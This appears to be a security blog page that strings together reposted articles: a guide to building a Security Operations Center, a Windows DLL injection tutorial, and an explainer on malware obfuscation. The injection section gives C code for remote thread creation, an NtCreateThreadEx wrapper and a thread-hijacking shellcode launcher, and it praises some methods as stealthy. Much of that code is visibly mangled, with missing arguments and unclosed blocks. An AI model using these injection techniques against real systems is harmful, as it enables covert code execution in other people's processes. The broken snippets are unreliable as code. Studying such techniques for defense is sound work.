Vulnerable Life by Vulneraman | Cyber Security Blog

Guideline to Develop and Maintain the Security Operation Center (SOC)

This article is written to explain the strategy, planning, execution in building and maintaining of SOC. The aspect of building SOC is complex, so many things are involved. I tried to cover the basic points which a SOC manager can understand and implement it properly.

I have tried to cover most of the areas which a Team Leader or SOC Manager will use to initiate the process to build a proper SOC.

In this article, I will cover the roadmap of SOC, planning and building strategies, developing Use Cases, team building planning, SOP (Standard Operating Process), SOW (Scope of Work) and responsibilities of individual members in SOC.

I will cover SIEM related aspects like POC checklist, Architecture and many things in upcoming articles. If you have specific requirements to understand, please comment in comment box.

Q. What is SOC?

  • SOC stands for Security Operation Center.
  • It is Command Center of Highly Qualified and Talented Ethical Hackers/Security Analyst whose primary aim is to monitor the SIEM Console continuously and detect the security incidents, report, escalate and close with proper justification and cause.

SOC Team works throughout 24/7 shift to detect the intrusive/malicious/suspicious/misconfiguration/policy violation etc. events.

To build a SOC team, SOC Manager has to be clear with SOC Roadmap, which consists of the following factors:

  1. People
  2. Technology
  3. Process

Once SOC Manager identifies the requirements what he need, what is require to secure the organization from attacks, he can map it with 3 Roadmap stated above. We will learn it in detail.

Before we start, let’s understand the need of SOC in Every corporate company.

Q. Need of SOC?

Security Operation Center is the main portion of Information technology and information security in all corporate sectors.

Now a day we all know how Cyber attackers are impacting the financial growth of corporate environment especially financial institution.

From Leaking the financial and sensitive information of customer data to impacting the daily functioning of IT infra by performing attacks like DDoS.

For Bad Hackers Nothing is impossible, every day they invent a way to exploit and bypass techniques and spread it over the internet, but SOC team make it difficult somehow and try to secure the corporate infrastructure.

Simply to avoid the situation where financial loss and reputation involved. Also to avoid Data/Info breaches and attacks that have high criticality need to focus on incident detection, investigation, and proper closure capabilities.

Let’s start with detailed learning of Roadmaps.


It is the perfect approach to proceed with building a SOC Team.

The need of roadmap is because you cannot build a perfect and secure SOC which work on 24*7 a year irrespective of how you invest. What to do next? How? Always the question.

You can consider it as planning to move ahead incrementally towards progress and complete the milestones that may result in better security of the organization.

Following three triage of Security Operations:

  • People (Team member)
  • Process
  • Technology


People aka Team members are the main link of security operation with specialized skills.

As per skill levels responsibilities, i.e. SOP get assigned.

SOC Manager should consider following levels with skilled while building a SOC:

Levels starting from

  • L1: Monitoring Analyst.
  • L2: Sr. Analyst.
  • SIRT Analyst: Experienced in Analysis and investigation.
  • Process Consultant (Optional).
  • SOC Manager (Team Leader).

The SOC Manager always recruits the Team members as per Job Description and scope of work. I have summarized the details what skills, duties, and other qualities require within Team is as follows:

L1 Analyst: (Per Shift at least 2)

L1 Analyst should have Ethical Hacking knowledge. CEH certification is entry level certification into the SOC. CCNA/MCSA and Other Certification are an add-on for him. If the individual has a strong knowledge of hacking and analysis should be hired.

L1 Analyst monitoring SIEM console is totally responsible for identifying the Security incidents and reporting. The scope of L1 is to monitor the SIEM console continuously (24/7) and report triggered incidents to Owner and L2 Analyst to bring it to closure.

SOC Manager has to arrange training on SIEM administration, integration, and monitoring for L1 as well as all team member to become an expert and don’t face problem while handling the issue.

L2 Analyst: (Per shift at least 1 or 2)

The L2 analyst is skilled and more experience in monitoring and analysis compared to L1. Pay scale also more as compared to L1.

Main Scope of work is to respond and closure the Security Incidents created on a daily basis by L1 within defined SLA (Service Level Agreement). Daily follow up of opened cases with Owners, discussion over call and resolution of cases.

The incidents which have a high priority or he thinks needs a deeper investigation will be handed over to SIRT Analyst for immediate response and closure.

Correlation rule enhancement, simulation of attack to verify the functionality of the rule.

SIEM Administration, Coordination with support also part of scope.

SIRT Analyst: (Per shift at least 1)

The SIRT Analyst is more skilled than L1 and equivalent or higher than L2. He should be capable of investigating compromised events, threat-related events, internal leakage, identification of internal resource who performed the malicious activities and much more. Network forensics, Deep packet inspection are the added skills which are required.

Pay scale is more comparable to L1 and L2.

Responsible for handling high priority cases which are escalated by L2 or from internal Team, Higher Management, External resources.

Once a Security incident is assigned to SIRT Analyst he has to start the deep investigation. Also responsible for the proper closure of the security incident with RCA (Root Cause Analysis). Post closure he should prepare the detailed incident closure report and submit to Team and SOC Manager to present to senior management (CISO) in the daily or weekly meeting.

Overall the SIRT Analyst is responsible for proper response and closure of High and Critical Security incidents within SLA.

SOC Manager: (General Shift and offline support to team).

SOC Manager should have more experience in technical as well as on Managerial Side.

More skilled in technical aspect is added advantage to him as well as for Team.

His Overall experience is more and responsible for appreciation, violation, and escalation of SOC Team. He is a single point of contact between the team and senior management (CISO and other Dept. Head).


He should be good supportive and interactive.

He should be good in understanding each Teammate and his contribution.


  • Overall Manager has more responsibilities from managing the team as well as senior management.
  • SOC Process definition (applicable where process consultant is not part of the team).
  • Preparation and validation of the daily, weekly and monthly report which showcase the SOC Team contribution towards the security of organizations.
  • Handling multiple projects, understanding the requirement of new technologies and implementation. Doing knowledge transfer within the team.
  • If Manager is handling MSSP services, then he has to understand the actual requirement of Client and work accordingly. Keep the customer happy is the main challenge for SOC Manager and Team.
  • BCP (Business Continuity Planning) and DR (Disaster Recovery) setup, maintenance and proper execution.
  • Immediate support to team and escalation if no proper response received from vendor/asset owner etc.
  • Arrange training, seminars for the team to get more expertise and skilled.
  • For Team:
    • Prepare and publish the monthly roster so in all shift defined number of analyst should be present.
    • Personal discussion and approval of yearly appraisal for all team.
    • Arrange an outing for the team once in a year.
  • Many more responsibilities

Important Note to SOC Manager:

To build a good and stable team he has to be sure to recruit the skilled engineerwith Good Pay Scale and understand each member personally and solve the problems (if any).


The process is the main part of Daily SOC Operation.

Defining incident management to investigation process standardize the action. A SOC Analyst will take and ensure no tasks will get failed.

From L1 Analyst à L2 Analyst à SIRT Analystà SOC Manager each one of SOW (scope of work) and SOP (Standard Operation Procedure) is need to define very well as a part of the process.

The number of processes and procedures of a SOC identified and based on company/customer’s policies and requirements, services offered, the scope of work and technologies used.

Very Well organized SOC having tons of Policies and processes in place. At minimum baseline, the following are the processes for references. (Examples)

  • SIEM monitoring and Notification (email, mobile, chat, etc.) procedure.
  • Event management process.
  • Security Incident Ticket management process (how to use ticketing systems e.g.: HPSM etc.)
  • Incident Handling, Reporting and Escalation process.
  • Daily activities process like checklist and handover.
  • Daily, weekly and monthly report format to Management
  • Compliance monitoring process.
  • Incident analysis and investigation response process.
  • New technology operating process.

All the Policies and Processes should be properly documented and kept at WIKI Portal, share point or share drive for team reference.


Core technologies such as SIEM having multiple solutions like data (raw log/packets) collection, aggregation, normalization, detection, and analytics is a secret of the effectiveness of SOC.

Security devices (AV, HIPS, NIPS, DLP, WAF, ARBOR, FireEye, DAM, etc.) are more in number, and monitoring for individual intrusive detection at each tool is not possible and increase the count of manpower.

SIEM comes into the picture to overcome the problems.

For perfect Monitoring, SIEM (Security Information and Event Management) is all about one technology used in SOC. SIEM collects raw logs from multiple log sources like desktop, laptop, mobiles, servers, network (infra + Telco) as well as from Security devices convert it into logical security events and populate on SIEM console for further process of raising Security incidents.

Based on defined correlation rule SIEM triggers the events.

Just for understanding, I have added SIEM Architecture for reference:

For more info, refer link:

Intel Nitro SIEM Architecture

ESM: Enterprise Security Manager. It is the brain of SIEM solution. The web interface of SIEM.

ACE: Advanced Correlation Engine

DEM: Database Event Monitor

ADM: Application Data Monitor

Receiver: event receiver. Intermediator between log source and ESM. Used for the collection of 3rd party raw logs.

Pull/push/agent method is supported by the receiver to collect the raw logs.

ELM: Enterprise Log Manager

CLMS: Centralized Log Management Solution (required at ISP level where storage of huge logs from lakhs of devices required)

Storage: actual raw events stored here. It may be DAS, NAS, CIFS, SAN, iSCSI as per storage requirement.

The manager should recruit team members who have the following areas of knowledge and expertise.

Duties and Skillset of SOC Member

  • SIEM Implementation, Administration, Integration.
  • SIEM Proactive/Reactive Monitoring and incident handling.
  • Security event management.
  • Forensics
  • Threat Management, Malware analysis (reverse engineering).
  • Vulnerability management
  • Audit
  • Network as well as Web Pen-test.
  • Internal and External security devices management
  • Managed customer services
  • Compliance.

As per industry standard and compliance the SOP changes and little change in SOW. Always SOC Team has other multiple responsibilities which they need to execute without failure like:

Monitoring of DDoS real-time Alert in Console (Arbor DDoS Tool): Experts suggested for individual monitoring to get better clarity and more details which SIEM logs never provide.

IP-Abuse and Copyright Infringement: This is a very crucial process where company registered Public IP perform the malicious and unethical activity over the internet.

  • Cyber Cell sent mail to get the details to proceed to resolve the criminal cases.
  • 3rd party vendor report to inform the source IP is performing malicious activity on client infra; multiple recurrences will blacklist the IP.

Proxy Monitoring: Web Admin collects the Proxy logs and creates the portal. The analyst monitors the logs and report who violated the defined InfoSec policies like visiting the restricted sites, accessing proxy sites, downloading copyrighted materials, watching videos, etc.

Anti-Trojan Activity: Financial (Bank) corporation follow it. Whenever Trojan collects the bank login credentials from client laptop/desktop, there is 3rd party vendor who collects the Trojan, dump the credentials. Report it to individual subscribed financial organization then SOC analyst proceeds with reporting mail to respective departments.

Brand Abuse: Bad actor always makes a way to collect Personal information (PI) of people by multiple ways like recharge or discount, fake app, fake links, phishing pages, etc. to earn money by selling info to other marketing companies. This impacts the company reputation and may loss of genuine customers. Reporting to Legal Department and making it down on priority ASAP.

Study the Company environment/Client Side:

Understanding the environment is the first phase of start-up of SOC setup. Complete visibility of Network architecture and asset is required to understand the incident scenario and SME to escalate the issue.

This visibility is useful to meet the defined the SLA and overall customer or in-house service within SOC.

SIEM architect builds the SIEM setup post better understanding of Network architecture and network flow.

Individual Security Devices Read-only access is required to continue the operation process. In the absence of SIEM, individual monitoring is the solution for SOC.

  • AV Monitoring access.
  • Network and Host IDS/IPS monitoring access
  • DLP console monitoring access (Symantec DLP)
  • Centralized log storage access (CLMS, Syslog server)
  • Email and SPAM gateway Access.
  • Web Gateway (TMG / Bluecoat)
  • Threat Management tools access (FireEye / Invincea)
  • Firewall (Fortigate / Cisco)
  • Vulnerability assessment tool (Nessus, Metasploit)

Use Cases:

Perfect and effective functioning of SOC Use Cases performs an important role. Use Case is scenario based attack simulation and detection in SIEM console. Based on triggered events creation of correlation rule is the main scope of Use Cases.

As per Hacking scenario, SME will create rule logic, based on triggered security devices logs.

E.g.: SQL Injection attack detection.

Kali Linux is used for performing an attack, Firewall, Nips, WAF and Web Server logs analyst can refer to get the visibility and understanding of attack pattern. Based on triggered events he proceeds to create and confirm the effectiveness of the Correlation rule.

Examples of Use Cases useful while setting up the SOC:

  • Security Risk Found (AV).
  • Suspicious Outbound Communication observed towards GTI IP (Firewall-known as well as on unknown ports).
  • Excessive incoming connection observed towards web server (TCP/ UDP/ ICMP): NIPS
  • DDoS attempt- Firewall/Arbor etc.
  • Malicious Binary execution observed (from HIPS): NetCat, Mimi Katz, exploits (Dirty Cow) for privilege escalation, etc.
  • Multiple logins from different locations.
  • Logs deleted from the source.
  • User created and deleted within 1 hour (AD).
  • Successful login posts multiple failures observed (Successful Brute Force attack observed).
  • Huge count of teardown connection observed (Firewall).
  • Network/Port Scanning observed (Firewall).

There are a number of rules which can be tested and deployed on SIEM for monitoring by the analyst.

Developing the SOC is challenging as there are so many milestones which SOC manager has to noted down and implement properly. Post to that maintaining is an ongoing process. Daily basis improvement and changes, policy and process definition, is continuous.

SOC Setup and implementation is Challenge but not hard if SOC Manager is on Correct Way and execute the defined milestone on correct time with the help of Team.

Note: It is not possible to cover all aspects in one article. Feel free comment in case any query.


Original Post:

Windows DLL Injection Basics

DLL Injection is one of those things I’ve always sort of knew about but never actually implemented. Probably because I never *really* needed to. I’m not a big gamer and not really into the malware side of security. Actually, the only times I ever need to inject into a running process is during exploitation/post exploitation and Metasploit has spoiled me too much 🙂

So, early last week I decided to actually implement some of the well known Windows DLL injection techniques to keep my mind at ease. Hopefully this blog will get you accustomed to those techniques and maybe inspire you to implement them on your own.


DLL injection is the process of inserting code into a running process. The code we usually insert is in the form of a dynamic link library (DLL), since DLLs are meant to be loaded as needed at run time. However this doesn’t mean we cannot inject assembly in any other form (executables, handwritten, etc..). It’s important to note that you’ll need to have an appropriate level of privileges on the system to start playing with other program’s memory.


The Windows API actually offers a number of functions that allow us to attach and manipulate into other programs for debugging purposes. We’ll leverage these methods to perform our DLL Injection. I’ve broken down DLL injection into four steps:

  1. Attach to the process
  2. Allocate Memory within the process
  3. Copy the DLL or the DLL Path into the processes memory and determine appropriate memory addresses
  4. Instruct the process to Execute your DLL

Each one of these steps can be accomplished through the use of one or more programming techniques which are summarized in the below graphic. It’s important to understand the details/options present for each technique as they all have their positives and negatives.

Execution Starting Point

We have a couple of options (e.g. CreateRemoteThread(),NtCreateThreadEx(), etc…) when instructing the target process to launch our DLL. Unfortunately we can’t just provide the name of our DLL to these functions, instead we have to provide a memory address to start execution at. We perform the Allocate and Copy steps to obtain space within the target process’ memory and prepare it as an execution starting point.

There are two popular starting points: LoadLibraryA() and jumping to DllMain.


LoadLibraryA() is a kernel32.dll function used to load DLLs, executables, and other supporting libraries at run time. It takes a filename as its only parameter and magically makes everything work. This means that we just need to allocate some memory for the path to our DLL and set our execution starting point to the address of LoadLibraryA(), providing the memory address where the path lies as a parameter.

The major downside to LoadLibraryA() is that it registers the loaded DLL with the program and thus can be easily detected. Another slightly annoying caveat is that if a DLL has already been loaded once with LoadLibraryA(), it will not execute it. You can work around this issue but it’s more code.

Jumping to DllMain (or another entry point)

An alternative method to LoadLibraryA() is load the entire DLL into memory, then determine the offset to the DLL’s entry point. Using this method you can avoid registering the DLL with the program (stealthy) and repeatedly inject into a process.

Attaching to the Process

First we’ll need a handle to the process so that we can interact with it. This is done with the OpenProcess() function. We’ll also need request certain access rights in order for us to perform the tasks below. The specific access rights we request vary across Windows versions, however the following should work for most:

hHandle = OpenProcess( PROCESS_CREATE_THREAD | 
                       PROCESS_QUERY_INFORMATION | 
                       PROCESS_VM_OPERATION | 
                       PROCESS_VM_WRITE | 
                       procID );

Allocating Memory

Before we can inject anything into another process, we’ll need a place to put it. We’ll use the VirtualAllocEx() function to do so.

VirtualAllocEx() takes amount of memory to allocate as one of its parameters. If we use LoadLibraryA(), we’ll allocate space for the full path of the DLL and if we jump to the DllMain, we’ll allocate space for the DLL’s full contents.

DLL Path

Allocating space for just the DLL path slightly reduces the amount of code you’ll need to write but not by much. It also requires you to use the LoadLibraryA() method which has some downsides (described above). That being said, it is a very popular method.

Use VirtualAllocEx() and allocate enough memory to support a string which contains the path to the DLL:

                dllPath, //Output to save the full DLL path

dllPathAddr = VirtualAllocEx(hHandle, 

Full DLL

Allocating space for the full DLL requires a little more code however it’s also much more reliable and doesn’t need to use LoadLibraryA().

First, open a handle to the DLL with CreateFileA() then calculate its size with GetFileSize() and pass it to VirtualAllocEx():

                dllPath, //Output to save the full DLL path

hFile = CreateFileA( dllPath, 
                     NULL );

dllFileLength = GetFileSize( hFile, 
                             NULL );

remoteDllAddr = VirtualAllocEx( hProcess, 
                                PAGE_EXECUTE_READWRITE ); 

Copying the DLL/Determine Addresses

We can now copy the DLL (path or contents) to the target process space.

Now that we have space allocated in our target process, we can copy our DLL Path or the Full DLL (depending on the method you choose) into that process. We’ll use WriteProcessMemory() to do so:

DLL Path


Full DLL

We’ll first need to read our DLL into memory before we copy it to the remote processes.

lpBuffer = HeapAlloc( GetProcessHeap(), 

ReadFile( hFile, 
          NULL );

WriteProcessMemory( hProcess, 
                    NULL );

Determining our Execution Starting Point

Most execution functions take a memory address to start at, so we’ll need to determine what that will be.

DLL Path and LoadLibraryA()

We’ll search our own process memory for the starting address of LoadLibraryA(), then pass it to our execution function with the memory address of DLL Path as it’s parameter. To get LoadLibraryA()‘s address, we’ll use GetModuleHandle() and GetProcAddress():

loadLibAddr = GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "LoadLibraryA");

Full DLL and Jump to DllMain

By copying the entire DLL into memory we can avoid registering our DLL with the process and more reliably inject. The somewhat difficult part of doing this is obtaining the entry point to our DLL when it’s loaded in memory. Luckily enough, Stephen Fewer has made our lives easy. He’s pioneered the Reflective DLL Injection technique which offers a greater level of stealth in comparison to existing methods. The LoadRemoteLibraryR() function included within his ReflectiveDLLInjection Inject project implements this entirely, however it limits our execution method to CreateRemoteThread(). So we’ll use the GetReflectiveLoaderOffset() from it to determine our offset in our processes memory then use that offset plus the base address of the memory in the victim process we wrote our DLL to as the execution starting point. It’s important to note here that the DLL we’re injecting must complied with the appropriate includes and options so that it aligns itself with the ReflectiveDLLInjection method.

dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpWriteBuff);

Executing the DLL!

At this point we have our DLL in memory and we know the memory address we’d like to start execution at. All that’s really left is to tell our process to execute it. There are a couple of ways to do this.


The CreateRemoteThread() function is probably the most widely known and used method. It’s very reliable and works most times however you may want to use another method to avoid detection or if Microsoft changes something to cause CreateRemoteThread() to stop working.

Since CreateRemoteThread() is a very established function, you have a greater flexibility in how you use it. For instance, you can do things like use Python to do DLL injection!

rThread = CreateRemoteThread(hTargetProcHandle, NULL, 0, lpStartExecAddr, lpExecParam, 0, NULL);
WaitForSingleObject(rThread, INFINITE);


NtCreateThreadEx() is an undocumented ntdll.dll function. The trouble with undocumented functions is that they may disappear or change at any moment Microsoft decides. That being said, NtCreateThreadEx() came in good handy when Windows Vista’s session separation affected CreateRemoteThread() DLL injection.

Detailed information about this method is described here:

NtCreateThreadEx() is a bit more complicated to call, we’ll need a specific structure to pass to it and another to receive data from it. I’ve detailed the implementation here:

struct NtCreateThreadExBuffer {
 ULONG Size;
 ULONG Unknown1;
 ULONG Unknown2;
 PULONG Unknown3;
 ULONG Unknown4;
 ULONG Unknown5;
 ULONG Unknown6;
 PULONG Unknown7;
 ULONG Unknown8;

typedef NTSTATUS (WINAPI *LPFUN_NtCreateThreadEx) (
 IN ACCESS_MASK DesiredAccess,
 IN LPVOID ObjectAttributes,
 IN HANDLE ProcessHandle,
 IN LPVOID lpParameter,
 IN BOOL CreateSuspended,
 IN ULONG StackZeroBits,
 IN ULONG SizeOfStackCommit,
 IN ULONG SizeOfStackReserve,
 OUT LPVOID lpBytesBuffer

HANDLE bCreateRemoteThread(HANDLE hHandle, LPVOID loadLibAddr, LPVOID dllPathAddr) {

 HANDLE hRemoteThread = NULL;

 LPVOID ntCreateThreadExAddr = NULL;
 NtCreateThreadExBuffer ntbuffer;
 DWORD temp1 = 0; 
 DWORD temp2 = 0; 

 ntCreateThreadExAddr = GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtCreateThreadEx");

 if( ntCreateThreadExAddr ) {
  ntbuffer.Size = sizeof(struct NtCreateThreadExBuffer);
  ntbuffer.Unknown1 = 0x10003;
  ntbuffer.Unknown2 = 0x8;
  ntbuffer.Unknown3 = &temp2;
  ntbuffer.Unknown4 = 0;
  ntbuffer.Unknown5 = 0x10004;
  ntbuffer.Unknown6 = 4;
  ntbuffer.Unknown7 = &temp1;
  ntbuffer.Unknown8 = 0;

  LPFUN_NtCreateThreadEx funNtCreateThreadEx = (LPFUN_NtCreateThreadEx)ntCreateThreadExAddr;
  NTSTATUS status = funNtCreateThreadEx(
  if (hRemoteThread == NULL) {
   printf("\t[!] NtCreateThreadEx Failed! [%d][%08x]\n", GetLastError(), status);
   return NULL;
  } else {
   return hRemoteThread;
 } else {
  printf("\n[!] Could not find NtCreateThreadEx!\n");
 return NULL;


Now we can call it very much like CreateRemoteThread():

rThread = bCreateRemoteThread(hTargetProcHandle, lpStartExecAddr, lpExecParam);
WaitForSingleObject(rThread, INFINITE);

Suspend, Inject, and Resume

Suspend, Inject, and Resume is an unofficial term to describe the method of injecting into process by attaching to it, suspending it and all of its threads, targeting a particular thread, saving the current registers, changing the instruction pointer to point to your executing starting point, and resuming the thread. This is a much more intrusive method, but works reliably and does not depend on additional function calls.

This method is a little more involved to implement. There is a great write up here:

VOID suspendInjectResume(HANDLE hHandle, LPVOID loadLibAddr, LPVOID dllPathAddr) {
  This is a mixture from the following sites:


 HANDLE hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
 HANDLE hSnapshot2 = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
 HANDLE thread = NULL;
 CONTEXT   ctx;
 DWORD firstThread = 0;
 HANDLE targetThread = NULL;

 LPVOID scAddr;

 int i;
 unsigned char sc[] = {
   // Push all flags
   // Push all register
   // Push 3,4,5,6 (dllPathAddr)
   0x68, 0xAA, 0xAA, 0xAA, 0xAA, 
   // Mov eax, 8,9,10, 11 (loadLibAddr)
   0xB8, 0xBB, 0xBB, 0xBB, 0xBB,
   // Call eax
   0xFF, 0xD0,
   // Pop all register
   // Pop all flags
   // Ret

 te.dwSize = sizeof(THREADENTRY32);
 te2.dwSize = sizeof(THREADENTRY32);
 ctx.ContextFlags = CONTEXT_FULL;

 sc[3] = ((unsigned int) dllPathAddr & 0xFF);
 sc[4] = (((unsigned int) dllPathAddr >> 8 )& 0xFF);
 sc[5] = (((unsigned int) dllPathAddr >> 16 )& 0xFF);
 sc[6] = (((unsigned int) dllPathAddr >> 24 )& 0xFF);

 sc[8] = ((unsigned int) loadLibAddr & 0xFF);
 sc[9] = (((unsigned int) loadLibAddr >> 8 )& 0xFF);
 sc[10] = (((unsigned int) loadLibAddr >> 16 )& 0xFF);
 sc[11] = (((unsigned int) loadLibAddr >> 24 )& 0xFF);

 // Suspend Threads
 if(Thread32First(hSnapshot, &te)) {
  do {
   if(te.th32OwnerProcessID == GetProcessId(hHandle)) {
    if ( firstThread == 0 )
     firstThread = te.th32ThreadID;
    thread = OpenThread(THREAD_ALL_ACCESS | THREAD_GET_CONTEXT, FALSE, te.th32ThreadID);
    if(thread != NULL) {
     printf("\t[+] Suspending Thread 0x%08x\n", te.th32ThreadID);
    } else {
     printf("\t[+] Could not open thread!\n");
  } while(Thread32Next(hSnapshot, &te));
 } else {
  printf("\t[+] Could not Thread32First! [%d]\n", GetLastError());

 printf("\t[+] Our Launcher Code:\n\t");
 for (i=0; i<17; i++)
  printf("%02x ",sc[i]);
 //  Get/Save EIP, Inject
 printf("\t[+] Targeting Thread 0x%08x\n",firstThread);
 targetThread = OpenThread(THREAD_ALL_ACCESS, FALSE, firstThread);
 if (GetThreadContext(targetThread, &ctx) == 0) 
  printf("[!] GetThreadContext Failed!\n");
 printf("\t[+] Current Registers: \n\t\tEIP[0x%08x] ESP[0x%08x]\n", ctx.Eip, ctx.Esp);

 printf("\t[+] Saving EIP for our return\n");
 ctx.Esp -= sizeof(unsigned int);
 WriteProcessMemory(hHandle, (LPVOID)ctx.Esp, (LPCVOID)&ctx.Eip, sizeof(unsigned int), NULL);
 printf("\t\tEIP[0x%08x] ESP[0x%08x] EBP[0x%08x]\n", ctx.Eip, ctx.Esp, ctx.Ebp);

 scAddr = VirtualAllocEx(hHandle, NULL, 17, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 printf("\t[+] Allocating 17 bytes for our Launcher Code [0x%08x][%d]\n", scAddr, GetLastError());

 printf ("\t[+] Writing Launcher Code into targetThread [%d]\n", WriteProcessMemory(hHandle, scAddr, (LPCVOID)sc, 17, NULL));

 printf("\t[+] Setting EIP to LauncherCode\n");
 ctx.Eip = (DWORD)scAddr;
 printf("\t\tEIP[0x%08x] ESP[0x%08x]\n", ctx.Eip, ctx.Esp);

 if (SetThreadContext(targetThread, &ctx) == 0) 
  printf("[!] SetThreadContext Failed!\n");

 // Resume Threads
 hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
 te.dwSize = sizeof(THREADENTRY32);

 if(Thread32First(hSnapshot2, &te2)) {
  do {
   if(te2.th32OwnerProcessID == GetProcessId(hHandle)) {
    thread = OpenThread(THREAD_ALL_ACCESS | THREAD_GET_CONTEXT, FALSE, te2.th32ThreadID);
    if(thread != NULL) {
     printf("\t[+] Resuming Thread 0x%08x\n", te2.th32ThreadID);
     if (te2.th32ThreadID == firstThread) 
      WaitForSingleObject(thread, 5000);
    } else {
     printf("\t[+] Could not open thread!\n");
  } while(Thread32Next(hSnapshot2, &te2));
 } else {
  printf("\t[+] Could not Thread32First! [%d]\n", GetLastError());

Side Note: DLL Proxying/DLL Hijacking

As a side note, DLL injection is very much different then DLL Proxying and Hijacking. For some reason, people tend to confuse these. The latter impersonates a legitimate DLL and essentially “tricks” the application to load it, while the former inserts a DLL into a process while its running.

DLL Proxying most commonly assumes you have full control over the application’s install directory. The “attacker” renames the legitimate DLL and copies their own DLL into the install directory. When the application runs, it loads the attacker’s DLL (since it’s named correctly) and then the attacker’s DLL relays the function calls to the legitimate one. DLL Proxying is most commonly used by the actual owner of the system as a method to extend application functionality. For instance, DLL proxying is popular in the gaming world. Lots of people use this technique to modify game functionality for cheating or other sorts of fun. “Spy” applications also leverage DLL Proxying in an attempt to capture user provided application values.

DLL Hijacking is similar to proxying but differs in that hijacking usually abuses Windows’ DLL search order in order to compromise a system (or otherwise control the flow of the application). It doesn’t usually require the attacker to have write permission to the application’s installation directory but rather the directory where the application was launched. In the case that the application attempts to call a non-existent DLL or if an attacker was able to place a malicious DLL in the same directory as a file that launches a vulnerable application, the attacker’s DLL would be loaded and code execution would be achieved. This is because Windows [used to] search for application DLLs in the current directory from which the application was loaded before most other locations.


All of the techniques described here have been implemented in a small project called dllInjector that I’ll release in the next upcoming weeks! For a sneak preview, check it out here:

Original Post:

Obfuscation: Malware’s best friend

Obfuscation: Malware’s best friend

Obfuscation: Malware’s best friend

Here at Malwarebytes, we see a lot of malware. Whether it’s a botnet used to attack web servers or a ransomware stealing your files, much of today’s malware wants to stay hidden during infection and operation to prevent removal and analysis. Malware achieves this using many techniques to thwart detection and analysis—some examples of these include using obscure filenames, modifying file attributes, or operating under the pretense of legitimate programs and services. In more advanced cases, the malware might attempt to subvert modern detection software (i.e. MBAM) to prevent being found, hiding running processes and network connections. The possibilities are quite endless.

Despite advances in modern malware, dirty programs can’t hide forever.  When malware is found, it needs some additional layers of defense to protect itself from analysis and reverse engineering.  By implementing additional protection mechanisms, malware can be more difficult to detect and even more resilient to takedown.  Although a lot of tricks are used to hide malware’s internals, a technique used in nearly every malware is binary obfuscation.

Obfuscation (in the context of software) is a technique that makes binary and textual data unreadable and/or hard to understand.  Software developers sometimes employ obfuscation techniques because they don’t want their programs being reverse-engineered or pirated.

Its implementation can be as simple as a few bit manipulations and advanced as cryptographic standards (i.e. DES, AES, etc).  In the world of malware, it’s useful to hide significant words the program uses (called “strings”) because they give insight into the malware’s behavior.  Examples of said strings would be malicious URLs or registry keys.  Sometimes the malware goes a step further and obfuscates the entire file with a special program called a packer.

Let’s see some practical obfuscation examples used in a lot of malware today.

Scenario 1: The exclusive or operation (XOR)
The exclusive or operation (represented as XOR) is probably the most commonly used method of obfuscation.  This is because it is very easy to implement and easily hides your data from untrained eyes.  Consider the following highlighted data.


In its current form, the data is unreadable.  But when we apply an XOR value of 0x55, we see something else entirely.


Now we have our malicious URL.  Looks like this malware contacts “” to retrieve the file “bot.exe”.

This form of obfuscation is typically very easy to defeat.  Even if you don’t have the XOR key, programs exist to manually cycle through every possible single-byte XOR value in search of a particular string.  One popular tool available on both UNIX and Window platforms is XORSearch written by Didier Stevens.  This tool searches for strings encoded in multiple formats, including XOR.

Because malware authors know programs like these exist, they implement tricks of their own to avoid detection.  One thing they might do is a two-cycle approach, performing an XOR against data with a particular value and then making a second pass with another value.  A separate technique (although equally effective) commonly used is to increment the XOR value in a loop.  Using the previous example, we could XOR the letter ‘h’ with 0x55, then the letter ‘t’ with 0x56, and so on.  This would also defeat common XOR detection programs.

Scenario 2: Base64 encoding

Base64 encoding has been used for a long time to transfer binary data (machine code) over a system that only handles text.  As the name suggests, its encoding alphabet contains 64 characters, with the equal sign (=) used as a padding character.  The alphabet contains the characters A-Z, a-z, 0-9, + and /.  Below is an example of some encoded text representing the string pointing to the svchost.exe file, used by Windows to host services.


While the encoded output is completely unreadable, base64 encoding is easier to identify than a lot of encoding schemes, usually because of its padding character.  There are a lot of tools that can perform base64 encode/decode functions, both online and via downloaded programs.

Because base64 encoding is so easy to overcome, malware authors usually take things a step further and change the order of the base64 alphabet, which breaks standard decoders.  This allows for a custom encoding routine that is more difficult to break.

Scenario 3: ROT13
Perhaps the most simple of the three techniques that’s commonly used is ROT13.  ROT is an ASM instruction for “rotate”, hence ROT13 would mean “rotate 13”.  ROT13 uses simple letter substitution to achieve obfuscated output.

Let’s start by encoding the letter ‘a’.  Since we’re rotating by thirteen, we count the next thirteen letters of the alphabet until we land at ‘n’.  That’s really all there is to it!


The above image shows a popular registry key used to list programs that run each time a user logs in.    ROT13 can also be modified to rotate a different number of characters, like ROT15.

Scenario 4: Runtime packers
In a lot of cases, the entire malware program is obfuscated.  This prevents anybody from viewing the malware’s code until it is placed in memory.

This type of obfuscation is achieved using what’s known as a packer program.  A packer is piece of software that takes the original malware file and compresses it, thus making all the original code and data unreadable.  At runtime, a wrapper program will take the packed program and decompress it in memory, revealing the program’s original code.

Packers have been used for a long time for legitimate purposes, some of which include reducing file sizes and protecting against piracy.  They help conceal vital program components and deter novice program crackers.

Fortunately, we aren’t without help when it comes to identifying and unpacking these files.  There are many programs available that detect commercial packers, and also advise on how to unpack.  Some examples of these file scanners are Exeinfo PE and PEID (no longer developed, but still available for download).


However, as you might expect, the situation can get more complicated.  Malware authors like to create custom packers to prevent less-experienced reverse engineers from unpacking their malware’s contents.  This approach defeats modern unpacking scripts, and forces reversers to manually unpack the file and see what the program is doing.  Even rarer, sometimes malware authors will twice-pack their files, first with a commercial packer and then their own custom packer.

While this list of techniques is certainly not exhaustive, hopefully this has provided a better understanding of how malware hides itself from plain sight.  Obfuscation is a highly reliable technique that’s used to hide file contents, and sometimes the entire file itself if using a packer program.

Obfuscation techniques are always changing, but rest assured knowing we at Malwarebytes are well-aware of this.  Our staff has years of experience in fighting malware, and goes to great lengths to see what malicious files are really doing.

Bring it on, malware.  Do your worst!

Original Post:

DNS Analysis and Tools

